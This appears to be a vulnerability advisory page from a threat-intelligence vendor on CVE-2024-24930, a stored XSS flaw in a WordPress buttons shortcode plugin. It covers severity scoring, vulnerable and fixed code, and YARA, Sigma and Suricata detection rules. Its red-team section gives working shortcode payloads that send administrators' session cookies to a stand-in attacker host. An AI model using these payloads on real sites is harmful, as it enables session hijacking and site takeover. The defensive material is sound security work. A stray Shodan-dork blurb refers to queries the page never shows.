CVE-2024-24930
Executive Summary
CVE-2024-24930 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Buttons Shortcode and Widget plugin for WordPress, developed by OTWthemes.com. This plugin, up to version 1.16, fails to properly neutralize user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into the plugin's shortcode or widget settings. When an administrator or other user views the affected page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
This vulnerability is particularly dangerous in the WordPress ecosystem because it allows stored payloads to persist across page loads and affect all users, including site administrators. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the impact on confidentiality, integrity, and availability is significant in a multi-tenant or high-traffic WordPress environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin's update mechanism. However, the lack of a patch from the vendor means that all sites using this plugin are at risk until a fix is released or the plugin is removed.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required – The victim must view the compromised page.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify data (e.g., defacement).
- Availability (A): Low – Limited impact on availability (e.g., redirects).
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the prevalence of WordPress sites make this a significant threat for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the Buttons Shortcode and Widget plugin's handling of shortcode attributes and widget settings. The plugin allows users to create custom buttons via shortcodes like [button text="Click Me" url="http://example.com"]. The text, url, and other attributes are not sanitized or escaped before being rendered in the HTML output.
Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_url(), wp_kses_post()). This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with contributor-level access creates a new post or page.
- The attacker inserts the vulnerable shortcode with a malicious payload in the
textattribute, e.g.,[button text="<script>alert('XSS')</script>" url="#"]. - When the post is saved, the payload is stored in the database.
- When an administrator or other user views the post, the plugin renders the shortcode without sanitization, executing the script in the victim's browser.
WordPress Context: This is a classic stored XSS in the WordPress ecosystem. The plugin's failure to follow WordPress coding standards (specifically, escaping output) is the direct cause. The vulnerability is not related to Apache or Nginx configuration.
Vulnerable vs. Patched Code
Since no patch is available, the following shows the vulnerable code pattern and a hypothetical fix.
Vulnerable Code (buttons-shortcode-and-widget.php):
function buttons_shortcode($atts) {
extract(shortcode_atts(array(
'text' => 'Click Me',
'url' => '#',
), $atts));
return '<a href="' . $url . '" class="button">' . $text . '</a>';
}
add_shortcode('button', 'buttons_shortcode');
Patched Code (Hypothetical Fix):
function buttons_shortcode($atts) {
$atts = shortcode_atts(array(
'text' => 'Click Me',
'url' => '#',
), $atts);
$safe_text = esc_html($atts['text']);
$safe_url = esc_url($atts['url']);
return '<a href="' . $safe_url . '" class="button">' . $safe_text . '</a>';
}
add_shortcode('button', 'buttons_shortcode');
The fix uses esc_html() to neutralize HTML tags in the text and esc_url() to ensure the URL is safe.
Exploitation & Lab Setup
Red Team (Attacker) Perspective
Prerequisites:
- A WordPress site with the Buttons Shortcode and Widget plugin (version <= 1.16) installed and activated.
- A user account with at least Contributor role.
Exploitation Steps:
- Log in to the WordPress admin panel as a contributor.
- Create a new post or page.
- In the content editor, insert the following shortcode:
[button text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" url="#"] - Publish the post.
- Wait for an administrator to view the post. The script will execute, sending the admin's session cookie to the attacker's server.
Advanced Payload:
[button text="<img src=x onerror='new Image().src=\"https://attacker.com/steal?data=\"+document.cookie'>" url="#"]
Blue Team (Defender) Perspective
Detection:
- Monitor for posts containing suspicious shortcode attributes (e.g.,
<script>,onerror,onload). - Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
- Review WordPress user roles and limit contributor access to trusted users only.
Mitigation:
- Immediately disable or remove the Buttons Shortcode and Widget plugin.
- If the plugin is essential, manually patch the vulnerable code as shown above.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/buttons-shortcode-and-widget/buttons-shortcode-and-widget.php(version <= 1.16) - Database: Posts or pages containing shortcodes with malicious attributes (e.g.,
text="<script>...") - Network: Outbound connections to attacker-controlled domains from the WordPress server (e.g.,
attacker.com/steal) - Logs: WordPress audit logs showing creation of posts by contributors with unusual shortcode patterns.
Detection Engineering
YARA Rule
rule CVE_2024_24930_Stored_XSS {
meta:
description = "Detects malicious shortcode patterns in WordPress posts"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-24930"
strings:
$shortcode = /\[button\s+[^\]]*text\s*=\s*["'][^"']*<script[^>]*>/
$onerror = /\[button\s+[^\]]*text\s*=\s*["'][^"']*onerror\s*=/
$onload = /\[button\s+[^\]]*text\s*=\s*["'][^"']*onload\s*=/
condition:
any of them
}
Sigma Rule
title: CVE-2024-24930 Stored XSS via Buttons Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious shortcode patterns
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains:
- '[button text="<script>'
- '[button text="<img'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcodes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24930 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_ajax_"; http_client_body; pcre:"/<script[^>]*>.*document\.cookie/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the Buttons Shortcode and Widget plugin from all WordPress installations.
- Scan for compromise: Use a security plugin (e.g., Wordfence) to scan for malicious shortcodes in posts and pages.
- Change admin credentials: If any admin viewed a compromised page, force password resets and invalidate all sessions.
Long-term Fix:
- Since the vendor has not released a patch, consider forking the plugin and applying the fix shown in the "Vulnerable vs. Patched Code" section.
- Alternatively, replace the plugin with a secure alternative (e.g., "MaxButtons" or "Shortcodes Ultimate").
Preventive Measures:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers to block inline scripts.
- Regularly audit WordPress plugins and remove unused ones.
- Limit user roles and permissions to minimize the attack surface.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.